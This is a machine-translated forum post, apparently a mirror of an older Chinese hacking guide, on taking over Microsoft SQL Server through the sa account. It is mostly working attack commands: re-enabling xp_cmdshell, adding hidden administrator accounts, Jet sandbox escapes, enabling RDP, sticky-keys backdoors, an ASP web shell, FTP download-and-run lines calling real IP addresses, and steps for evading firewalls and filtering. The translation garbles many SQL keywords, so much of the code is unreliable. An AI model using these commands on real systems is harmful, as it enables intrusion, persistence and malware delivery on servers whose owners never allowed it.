이 글은 기계 번역의 미러 문서이며, 원본 기사로 바로 이동하려면 여기를 클릭해 주세요.

보기: 10941|회답: 2

SqlTOOLS (SQL 종합 활용 도구)는 인터넷에 관련 자료가 없습니다

[링크 복사]
게시됨 2015. 3. 18. 오전 10:36:56 | | | |


1433년 수리 명령

net user SQLDebugger list /add
net localgroup administrators SQLDebugger /add

오류 메시지: 저장 프로시저 '마스터.. 찾지 못함' xp_cmdshell'.

수리 방법: 매우 일반적이며, 사실 다른 126 127도 함께 수리할 수 있습니다.

하지만 xplog70.dll 이 명령어로 모든 문제를 해결할 수 있습니다

xp_cmdshell 새로운 복구 방법
1단계: 삭제:
드롭 절차 sp_addextendedproc
드롭 절차 sp_oacreate
임원 sp_dropextendedproc 'xp_cmdshell'
서버: Msg 3701, 11층, 스테이트 5, 1번 라인
프로세스 'sp_addextendedproc'은 시스템 디렉터리에 존재하지 않으므로 제거할 수 없습니다.
서버: Msg 3701, 11층, 상태 5, 절차 sp_dropextendedproc, 18번 라인
프로세스 'xp_cmdshell'은 시스템 디렉터리에 존재하지 않으므로 제거할 수 없습니다.
2단계 회복:
DBCC Adextendedproc ("sp_oacreate", "odsole70.dll")
DBCC AdextendedProc ("xp_cmdshell", "xplog70.dll")
sp_addextendedproc 존재하든 없든 직접 회복


xplog70.dll 수정 사항:

오류 메시지: DLL이 참조한 DLL xplog70.dll 또는 DLL이 마운트할 수 없습니다. 이유: 126 (지정된 모듈을 찾을 수 없음.) )。

XPLOG70.DLL 수정하세요 (먼저 백업 디렉터리 \x86\bin에 파일이 있는 것을 확인한 후 다음 디렉터리를 교체하세요)

1단계
임원 sp_dropextendedproc 'xp_cmdshell'
2단계
DBCC addextendedproc ("xp_cmdshell","C:\SQL2kSP4\x86\BINN\xplog70.dll")


저장 프로시저 '마스터.. xp_cmdshell'.
1단계:
절차 sp_addextendedproc --- 생성 1996/08/30 20:13
@functname 은바르차르(517),/* (소유주) 호출할 함수 이름

*/
@dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */
as
implicit_transactions 시작해
만약 @@trancount > 0이라면.
시작
레이스에러(15002,-1,-1,'sp_addextendedproc')
귀환 (1)

DBCC AddextendedProc(@functname, @dllname)
반환 (0) -- sp_addextendedproc
가세요

2단계:
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll' @o int 선언


SQL Server는 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 설정의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요.

; 임원sp_configure '고급 옵션 표시', 1 --
; 오버라이드로 재구성 --
; 임원 sp_configure 'xp_cmdshell', 1 --
; 오버라이드로 재구성 --
; EXEC sp_configure '고급 옵션 표시', 0 --


SQL 위험 저장소 제거:
드롭 절차 sp_makewebtask
대장님.. sp_dropextendedproc xp_cmdshell
대장님.. sp_dropextendedproc xp_dirtree
대장님.. sp_dropextendedproc xp_fileexist
대장님.. sp_dropextendedproc xp_terminate_process
대장님.. sp_dropextendedproc sp_oamethod
대장님.. sp_dropextendedproc sp_oacreate
대장님.. sp_dropextendedproc xp_regaddmultistring
대장님.. sp_dropextendedproc xp_regdeletekey
대장님.. sp_dropextendedproc xp_regdeletevalue
대장님.. sp_dropextendedproc xp_regenumkeys
대장님.. sp_dropextendedproc xp_regenumvalues
대장님.. sp_dropextendedproc sp_add_job
대장님.. sp_dropextendedproc sp_addtask
대장님.. sp_dropextendedproc xp_regread
대장님.. sp_dropextendedproc xp_regwrite
대장님.. sp_dropextendedproc xp_readwebtask
대장님.. sp_dropextendedproc xp_makewebtask
대장님.. sp_dropextendedproc xp_regremovemultistring
대장님.. sp_dropextendedproc sp_OACreate
드롭 절차 sp_addextendedproc


확장 저장 프로시저 복원
먼저 sp_addextendedproc를 복원하세요. 문장은 다음과 같습니다:
첫째:
절차 sp_addextendedproc --- 생성 1996/08/30 20:13
@functname 은바르차르(517),/* (소유주) 호출할 함수 이름 */ @dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */
implicit_transactions 시작해
만약 @@trancount > 0이라면.   
시작
레이스에러(15002,-1,-1,'sp_addextendedproc')   
귀환 (1)   

DBCC AddextendedProc(@functname, @dllname)   
반환 (0) -- sp_addextendedproc
가세요

둘째:
마스터 사용   
임원 sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'   
임원 sp_addextendedproc xp_dirtree,'xpstar.dll'   
임원 sp_addextendedproc xp_enumgroups,'xplog70.dll'   
임원 sp_addextendedproc xp_fixeddrives,'xpstar.dll'   
임원 sp_addextendedproc xp_loginconfig,'xplog70.dll'   
임원 sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'   
임원 sp_addextendedproc xp_getfiledetails,'xpstar.dll'   
임원 sp_addextendedproc sp_OACreate,'odsole70.dll'   
임원 sp_addextendedproc sp_OADestroy,'odsole70.dll'   
임원 sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'   
임원 sp_addextendedproc sp_OAGetProperty,'odsole70.dll'   
임원 sp_addextendedproc sp_OAMethod,'odsole70.dll'   
임원 sp_addextendedproc sp_OASetProperty,'odsole70.dll'   
임원 sp_addextendedproc sp_OAStop,'odsole70.dll'   
임원 sp_addextendedproc xp_regaddmultistring,'xpstar.dll'   
임원 sp_addextendedproc xp_regdeletekey,'xpstar.dll'   
임원 sp_addextendedproc xp_regdeletevalue,'xpstar.dll'   
임원 sp_addextendedproc xp_regenumvalues,'xpstar.dll'   
임원 sp_addextendedproc xp_regread,'xpstar.dll'   
임원 sp_addextendedproc xp_regremovemultistring,'xpstar.dll'   
임원 sp_addextendedproc xp_regwrite,'xpstar.dll'   
임원 sp_addextendedproc xp_availablemedia,'xpstar.dll'


저장 프로시저를 확장하는 문장을 삭제하세요 xp_cmdshell:
임원 sp_dropextendedproc 'xp_cmdshell'


cmdshell의 SQL 문을 복구하세요
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

cmdshell SQL 문구를 열어
exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'

저장 확장 가능 여부를 확인하세요
master.dbo.sysobjects에서 xtype='x' 및 name='xp_cmdshell'에서 count(*)를 선택합니다.
반환 결과는 1이고 괜찮습니다

복원xp_cmdshell
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll'; master.dbo.sysobjects에서 xtype='x' 및 name='xp_cmdshell'에서 count(*)를 선택합니다.
반환 결과는 1이고 괜찮습니다
그렇지 않으면 업로드하세요xplog7.0.dll
exec master.dbo.addextendedproc 'xp_cmdshell','c:\Winnt\System32\xplog70.dll'


cmdshell의 SQL 문장을 차단하세요
sp_dropextendedproc "xp_cmdshell


1. SA 비밀번호 방법 변경:
SQL 종합 활용 도구에 연결한 후, 다음 명령을 실행하세요:
exec sp_password NULL, 'new password', 'sa'
(힌트: 조심해서 사용하세요!)


2. 약한 비밀번호를 패치하면 됩니다.

방법 1: 연결 후 분배기를 조회하기:
만약 존재한다면(선택: *
dbo.sysobjects 여기서 id = object_id(N'[dbo].[ xp_cmdshell]') 그리고
OBJECTPROPERTY(id, N'IsExtendedProc') = 1)

임원sp_dropextendedproc N'[dbo]. [xp_cmdshell]'

가세요
그 다음 F5 키를 눌러 명령을 실행하세요


방법 2: 스플리터가 연결된 후 쿼리
첫 번째 단계는 실행입니다: 마스터를 사용하세요
2단계: 'xp_cmdshell' sp_dropextendedproc
그 다음 F5 키를 눌러 명령을 실행하세요

DLL이 참조하는 DLL xpsql70.dll이나 DLL은 마운트할 수 없습니다. 이유 126 (지정된 모듈을 찾을 수 없음. )
복구 방법: 스플리터 연결을 문의한 후,
1단계: "xp_cmdshell" sp_dropextendedproc
2단계: 'xp_cmdshell', 'xpsql70.dll'을 sp_addextendedproc


함수 xp_cmdshell 라이브러리 xpweb70.dll에서는 찾을 수 없습니다. 이유: 127 (지정된 프로그램을 찾을 수 없음.) )
복구 방법: 스플리터 연결을 문의한 후,
1단계 실행: 임원 sp_dropextendedproc 'xp_cmdshell'
2단계: 'xp_cmdshell', 'xpweb70.dll' sp_addextendedproc            
그 다음 F5 키를 눌러 명령을 실행하세요

위의 방법이 복구되지 않는다면, 다음 방법으로 직접 계정을 추가해 보세요:
스플리터 연결을 문의한 후,
2000서브서 시스템:
@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user Web hacker /add'

@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators Web /add'

XP 또는 2003서버 시스템: 126 오류! 순서

@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user Web$ 해커 /add'

@shell int exec sp_oacreate 'wscrip remove t.shell'을 선언하고, @shell 출력하는 exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators Web$ /add'


C:\>DIR C:\
SQL Server는 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 설정의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요.

분석기가 실행하는 문장들:

EXEC sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure 'xp_cmdshell' 1명; 재구성;


때때로 위 문장들을 쿼리 디타처 연결로 실행할 때 저장 프로시저를 찾을 수 없을 때가 있습니다sp_addextendedproc

우회 방법:

절차 sp_addextendedproc --- 생성 1996/08/30 20:13
@functname 은바르차르(517),/* (소유주) 호출할 함수 이름 */
@dllname varchar(255)/* 함수를 포함하는 DLL의 이름 */
as
implicit_transactions 시작해
만약 @@trancount > 0이라면.
시작
레이스에러(15002,-1,-1,'sp_addextendedproc')
귀환 (1)

DBCC AddextendedProc(@functname, @dllname)
반환 (0) -- sp_addextendedproc
가세요
이 코드는 쿼리 스플리터에 붙여넣어 실행됩니다

익스플로러:
c:\windows\explorer.exe


목차 보기
임원 master.dbo.xp_subdirs 'C:\'
목록 디스크
대장님.. xp_fixeddrives


xpsql.cpp: 错误 5 来自 CreateProcess(第 737 行) 直接加帐号!

엑셀 master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE', 'SoftWare\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user 123 123 /add")');
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators 123 /add")');

에코 윈도우 레지스트리 에디터 버전 5.00 >3389.reg
메아리. >>3389.reg
에코 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\netcache] >>3389.reg
에코 "Enabled"="0" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon] >>3389.reg
에코 "ShutdownWithoutLogon"="0" >>3389.reg
에코 [HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\Installer] >>3389.reg
echo "EnableAdminTSRemote"=dword:00000001 >>3389.reg
에코 [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
에코 "TSEnabled"=dword:00000001 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermDD] >>3389.reg
에코 "시작"=dword:00000002 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\TermService] >>3389.reg
에코 "시작"=dword:00000002 >>3389.reg
에코 [HKEY_USERS\. 기본값\키보드 레이아웃\토글] >>3389.reg
에코 "핫키"="1" >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg
에코 "포트넘버"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Control\Terminal Server\WinStations\RDP-TCP] >>3389.reg
에코 "포트넘버"=dword:00000D3D >>3389.reg
레지디언 /s 3389.reg

오픈 3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',0; --


패스 3389:

exec master.dbo.xp_regwrite'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server','fDenyTSConnections','REG_DWORD',1;

포트 3389를 확인해 보세요

exec xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-TCP','PortNumber'


일반 CMD 백도어
xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execute Options\sethc.exe','디버거','reg_sz','c:\windows\system32\cmd.exe'


win2K는 PS Mar로 바로 연결됩니다
대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1
Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c @echo open 60.190.176.85>>net.txt&@echo reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo 안녕>>net.txt&@ftp -s:net.txt& net.txt & 0.exe")')

win03-XP를 PS 말에 직접 적용하기
대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',1
Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\Windows\System32\IAS\ias.mdb','select shell("cmd.exe /c @echo Open 60.190.176.85>>net.txt&@echo Reconditeness>>net.txt&@echo 7259>>net.txt&@echo Get 0.exe>>net.txt& @echo 안녕>>net.txt&@ftp -s:net.txt& net.txt & 0.exe")')

5. 백도어 명령어 이동
@o 정찰 선언
exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃
exec sp_oamethod @o, 'copyfile', null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';

@o 정찰 선언
exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃
exec sp_oamethod @o, 'copyfile', null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';

C:\Windows\explorer.exe C:\Windows\System32\sethc.exe
C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe

@o 정찰 선언
'wscrip remove t.shell' sp_oacreate 임원 @o
exec sp_oamethod @o, 'run', NULL, 'XXXXX' \\XXXXX가 실행하려는 명령입니다

레지스트리에 지정된 키에 지정된 값을 쓰고, 메서드를 사용해 (키에 bbb HKEY_LOCAL_MACHINE\SOFTWARE\aaaa\aaValue):

임원님.. xp_regwrite

@rootkey='HKEY_LOCAL_MACHINE',

@key='SOFTWARE\aaa',

@value_name='aaaValue',

@type='REG_SZ',

@value='bbbb'


@echo 121.22.56.5>c:\bin.txt&@echo 리스트>>c:\bin.txt&@echo 리스트>>c:\bin.txt&@echo gzn.exe>>c:\bin.txt&@echo 안녕>>c:\bin.txt&@ftp -s:c:\bin.txt&델 C:\bin.txt&gzn.exe& gzn.exe&gzn.exe


먼저, ftp.exe wmpub 디렉터리에 복사하세요
@echo CD C:\wmpub\>c:\wmpub\in.bat&@echo ftp -s:c:\wmpub\xiuxiu.txt>>c:\wmpub\in.bat

오픈 3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f


C:\WINDOWS\system32\dllcache\net1.exe localgroup administrators IUSR_SERVER /add

SQL은 문장을 작성합니다
행정 master.dbo.xp_subdirs 'D:\web\cdlxkj';
exec sp_makewebtask 'd:\web\cdlxkj\XX.asp','select''<%execute(요청("SB"))%>' '

SA 샌드박스 모드 프로모션 -----
----------------------
대장님.. xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode', 'REG_DWORD',0;
-------------------------------------------------------
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net user sql$ 123 /add")');
-------------------------------------------------------
Select * From OpenRowSet('Microsoft.Jet.OLEDB.4.0','; Database=c:\windows\system32\ias\ias.mdb','select shell("net localgroup administrators sql$ /add")');

3389 교대

사용된 문장은 다음과 같습니다:
침공
임원님.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE',
@value_name='디버거',
@type='REG_SZ',
@value='C:\WINDOWS\explorer.exe'

회복
임원님.. xp_regwrite
@rootkey='HKEY_LOCAL_MACHINE',
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE',
@value_name='디버거',
@type='REG_SZ',
@value=''


이미지 하이재킹

임원님.. xp_regwrite --- 이건 레지스트리 편집이에요!
@rootkey='HKEY_LOCAL_MACHINE', ---이것이 바로 포지션입니다!
@key='SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc. EXE', -----이 위치이기도 해!
@value_name='디버거', --- 이게 바로 테이블 이름이에요!
@type='REG_SZ', --- 여기서 글쓰기의 의미가 있습니다!
@value='C:\WINDOWS\explorer.exe' ---- 여기 글로 된 내용이 있습니다!

전체 과정은 마스터를 사용하는 것입니다: 이 부분이 완료xp_regwrite,

레지스트리 고정 키가 탈취되었는지 문의하는 명령어1.sql

대장님.. xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe','디버거'

2.sql 명령어가 레지스트리 고정 키 기능을 탈취하고 작업 관리자로 대체합니다(물론 원하는 다른 명령어로 교체할 수도 있습니다).

xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe',
'디버거','REG_SZ','C:\WINDOWS\system32\taskmgr.exe'

레지스트리 고정 키의 하이재킹 기능을 제거하는 명령3.sql 서버를 다른 사람에게 악용당하지 않도록 보호합니다

xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File 실행 옵션\sethc.exe'


SQL 파일 작성

@o int, @f int, @t int, @ret int 선언
exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃
exec sp_oamethod @o, 'createtextfile', @f 아웃, 'c:\1.vbs', 1
exec @ret = sp_oamethod @f, 'writeline', NULL,'set wsnetwork=CreateObject("Wscrip remove t.NETWORK")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'os="WinNT://"&wsnetwork. 컴퓨터네임'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set ob=GetObject(os)'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set oe=GetObject(os&"/Administrators,group")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set od=ob. Create("user","test")'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od. SetPassword "1234"'
exec @ret = sp_oamethod @f, 'writeline', NULL,'od. 세트인포 '
exec @ret = sp_oamethod @f, 'writeline', NULL,'Set of=GetObject(os&"/test",user) '
exec @ret = sp_oamethod @f, 'writeline', NULL,'oe.add os&"/test"'


NET 에스컬레이션이 없는 스크립트

struser=wscrip을 사용하여 t.arguments(0)
strpass=wscrip을 사용하여 t.arguments(1)

set lp=createObject("Wscrip remove t.NETWORK")
oz="WinNT://"&lp. 컴퓨터네임
Set ob=GetObject(oz)
Set oe=GetObject(oz&"/Administrators,group")
Set od=ob.create("user",struser)
과다. SetPassword strpass
과다. 세트 정보
Set of=GetObject(oz&"/" & struser & ",user")
OE. 추가(Add(of. ADsPath)

OE의 각 관리자마다 해당됩니다. 멤버
만약 스트루저=관리자라면. 그때 이름
Wscrip이 t.echo 스트러저를 제거했고 "성공적으로 구축됨!"
t.quit 제거를 위한 WSCRIP
끝나는 경우
다음

wscrip 제거 t.echo 스트루저와 "사용자 설정 실패!"
위 내용을 사용자로 저장하세요. VBS 파일
그 다음 execute: cscrip을 실행하여 user.vbs 사용자 비밀번호를 제거하세요


JET 샌드박스 모드를 사용하면 XP_cmdshell 및 관련 동적 링크 라이브러리와 같은 저장 프로시저로 인한 문제를 해결할 수 있습니다. 보안상의 이유로 시스템은 기본적으로 샌드박스 모드를 켜지 않으며, 이 경우 xp_regwrite 샌드박스 모드를 켜야 합니다:

Exec master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0
\엔진', '샌드박스 모드', 'REG_DWORD',1

그 다음 샌드박스 명령을 실행하여 비밀번호 1234가 있는 사용자 이름의 test를 시스템에 추가합니다:

Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net user test 1234 /add")')

Select * from openRowSet('Microsoft.Jet.oledb.4.0','; database=c:\windows
\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup
관리자가 /add를 테스트한다)')

운영체제마다 경로가 다르며 상황에 따라 수정이 필요합니다:

NT/2K: c:\winnt\system32\
XP/2003: c:\windows\system32\

또한, Microsoft SQL Server 2005에서는 일부 저장 프로시저가 기본적으로 닫혀 있으며, 다음 명령어를 열어야 합니다:

XP_cmdshell 켜기:

EXEC sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure
'xp_cmdshell', 1; 재구성;

'OPENROWSET'을 열어보세요:

exec sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure
'임시 분산 쿼리',1; 재구성;

'sp_oacreate' 켜기:

exec sp_configure '고급 옵션 표시', 1; 재구성; 임원 sp_configure
'올레 자동화 절차',1; 재구성;

다음은 sa 명령어에서 실행 명령어가 잘못된 몇 가지 상황입니다:
1. DL xpsql70.dll L이 참조하는 DLL을 로드할 수 없습니다. 이유 126 (지정된 모듈을 찾을 수 없음. )
이런 상황은 비교적 흔하며, 수리는 간단하고 간단하지만 조건이 있습니다. 이 경우 디렉터리를 나열할 수 있다면(sqltools v2.0에서는 디렉터리 함수가 있습니다). 이 80% 상황은 해결할 수 있습니다. 디렉터리를 나열할 수 있다면 xplog70.dll 경로를 찾아서 다음 명령을 실행하면 됩니다.
1단계
exec sp_dropextendedproc 'xp_cmdshell' (이 명령어는 이미 잘못된 상태이므로 원본 cmdshell을 삭제하는 명령입니다)
2단계
dbcc addextendedproc ("xp_cmdshell","c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll")
; EXEC sp_configure '고급 옵션 표시', 0 –
물론 이것은 쿼리 분석기로 실행되는 SQL 명령입니다. 두 번째 단계의 c:\Program Files\Microsoft SQL Server\MSSQL\Binn\xplog70.dll이 xplog70.dll의 경로입니다. 이 경로는 비교적 흔합니다. C 드라이브에 없으면 다른 드라이브 문자를 찾을 수 있습니다.
2. 라이브러리 xpweb70.dll에서 함수 xp_cmdshell 찾을 수 없음. 이유: 127 (지정된 프로그램을 찾을 수 없음.) )
사실 이 방법은 위의 126과 같아요. 즉, 백업을 찾xplog70.dll 위 방법을 따르면 cmdshell이 잘못됐다는 뜻입니다.
3. 저장 프로시저 '마스터'를 찾지 못함. xpcmdshell'
이 경우, 인터넷에서 본 방법은:
1단계: 삭제:
드롭 절차 sp_addextendedproc
드롭 절차 sp_oacreate
임원 sp_dropextendedproc 'xp_cmdshell'
2단계 회복:
DBCC Adextendedproc ("sp_oacreate", "odsole70.dll")
DBCC AdextendedProc ("xp_cmdshell", "xplog70.dll")
사실, 이것은 위의 것과 같습니다. 조심하면 위의 126 127은 저장 프로시저 'master:'를 찾지 못할 뿐입니다. 첫 번째 단계는 cmdshell의 저장 프로시저를 삭제하는 것이기 때문입니다. 이 경우에는 위의 두 번째 단계를 따르면 됩니다.
4. 오류 메시지: SQL 서버가 'xp_cmdshell' 구성 요소의 프로세스 'sys.xp_cmdshell'에 대한 접근을 차단했는데, 이는 이 구성 요소가 이 서버의 보안 구성의 일부로 종료되었기 때문입니다. 시스템 관리자는 sp_configure를 사용하여 'xp_cmdshell'을 활성화할 수 있습니다. xp_cmdshell 활성화에 관한 자세한 내용은 SQL Server 온라인 도서 시리즈의 Peripheral App Configurator를 참조하세요.
이 상황이 가장 간단한데, 아무 생각 없이 다음 명령어만 실행하면 됩니다
; 임원sp_configure '고급 옵션 표시', 1 --
; 오버라이드로 재구성 --
; 임원 sp_configure 'xp_cmdshell', 1 --
; 오버라이드로 재구성 --
; EXEC sp_configure '고급 옵션 표시', 0 –

위의 수정 후에는 cmd 명령을 실행하면 파워가 상승하기 시작할 수 있습니다. 보통 먼저 IP를 확인해서 인트라넷인지 확인하고, 그 다음에 REG 쿼리로 HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber"로 터미널 포트를 확인하고, netstat -an으로 터미널이 열려 있는지 확인한 다음, net 사용자 비밀번호를 입력합니다 / 사용자 추가를 한 다음, net로컬그룹 관리자 사용자 /add를 실행하세요. 모든 것이 잘 진행되면 서버가 다운됩니다. 하지만 이 과정에는 많은 문제가 있습니다.
1. 순전력 승급은 성공했지만 단말기에 연결할 수 없습니다. 다음과 같은 상황이 있습니다.
(1) 서버가 인트라넷에 위치해 있습니다.
(2) TCP/IP 스크리닝.
먼저 다음 cmd 명령어를 실행하세요:
cmd /c regedit -e c:\1.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip, TCP/IP 필터링용 레지스트리 첫 번째 부분을 내보내세요
cmd /c regedit -e c:\2.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip, TCP/IP 필터링용 레지스트리 두 번째 부분을 내보내세요
cmd /c regedit -e c:\3.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip", TCP/IP 필터링에 관한 레지스트리 내 세 번째 자리를 내보내는
그 다음 C 드라이브 1.reg로 돌아가서 2.reg, 3.reg 1.reg 다운로드, 2.reg 3.reg, 하드 드라이브로 돌아가 편집하고, dword 뒤에 있는 키 값이 00000000000인지 EnableSecurityFilters 필드를 찾아보세요. 만약 00000001라면 관리자가 TCP/IP 필터링을 했다는 뜻이고, 1을 0, 2로 바꾸면 됩니다. 레그와 3.reg도 같은 변경을 합니다.
(3) IP 보안 정책을 수립합니다.
impsec 서비스 서비스를 중단하려면 cmd /c net stop policyagent 명령어를 실행하세요. 단자를 다시 연결하세요.
(4) 관리자가 설정한 터미널의 로그인 권한은 지정된 사용자만 사용할 수 있습니다.
(5) 방화벽. cmd 명령어를 실행하세요: net stop alg /ynet stop sharedaccess

2. NET 에스컬레이션이 나타나고 접근 거부
net1 사용자 비밀번호 /add를 시도해 보세요. net1도 접근 거부한다면, shfit 백도어를 복사해서 cmd 명령어를 실행해 보세요: copy c:\windows\explorer.exe c:\windows\system32\sethc.exe
C:\Windows\System32\sethc.exe C:\Windows\System32\dllcache\sethc.exe
질문이 나오면 파일 1개를 복사하는데, 이 파일이 성공하는 것으로 증명됩니다. 터미널에 연결해서 5 Shift를 누르면 어떤 메시지가 뜨는지 확인해보세요. Kaka Explorer로 플레이해보세요. 이제 수동으로 사용자를 추가하세요.
3. 순 에스컬레이션이 발생하며 접근 거부 오류 5(강조)
이 경우 net1을 시도할 필요는 없고, 복사 시프트 백도어를 시도해 보세요. 복사 과정에서 0 파일을 복사하라는 메시지가 나오면 성공하지 못했다는 증거가 됩니다. 그다음 업로드를 시도할 수 있습니다. 업로드할 수 있다면, 예전에 나온 비네트워크 전력 상승 도구를 직접 보내고 사용자를 추가할 수 있습니다. 하지만 대부분의 사례는 업로드할 수 없으니 신중히 생각해야 합니다. cmd가 실행될 수 있으므로, ftp 하에서 cmd로 파일을 다운로드할 수 있지만, ftp의 전제는 텍스트 작성이나 배치 처리를 할 수 있도록 하는 것입니다. 그 다음에는 SQL 문장을 텍스트나 배치로 작성할 수 있습니다.
@o int, @f int, @t int, @ret int 선언
exec sp_oacreate 'scrip remove ting.filesystemobject', @o 아웃
exec sp_oamethod @o, 'createtextfile', @f out, 'C:\1.bat', 1
exec @ret = sp_oamethod @f, 'writeline', NULL, 'open IP'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp 계정'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'ftp password'
exec @ret = sp_oamethod @f, 'writeline', NULL, 'get en.exe (net escalation script 없음) c:\en.exe'
exec @ret = sp_oamethod @f, 'writeline', NULL,'bye'
쿼리 분석기가 성공적으로 실행되면 C 드라이브에 1.bat가 나타납니다(실행이 성공했지만 C 드라이브가 없으면, 해당 서버의 C 드라이브 루트 디렉터리가 쓰기를 금지하므로 폴더를 쓰기로 변경할 수 있습니다)
그 후 cmd는 ftp -s:c:\를 실행합니다1.bat
이 작업이 실행되면 CFT 드라이브 FTP에서 비넷 에스컬레이션 스크립트를 다운로드하거나 VBS 에스컬레이션 스크립트를 직접 작성합니다
@o int, @f int, @t int, @ret int 선언
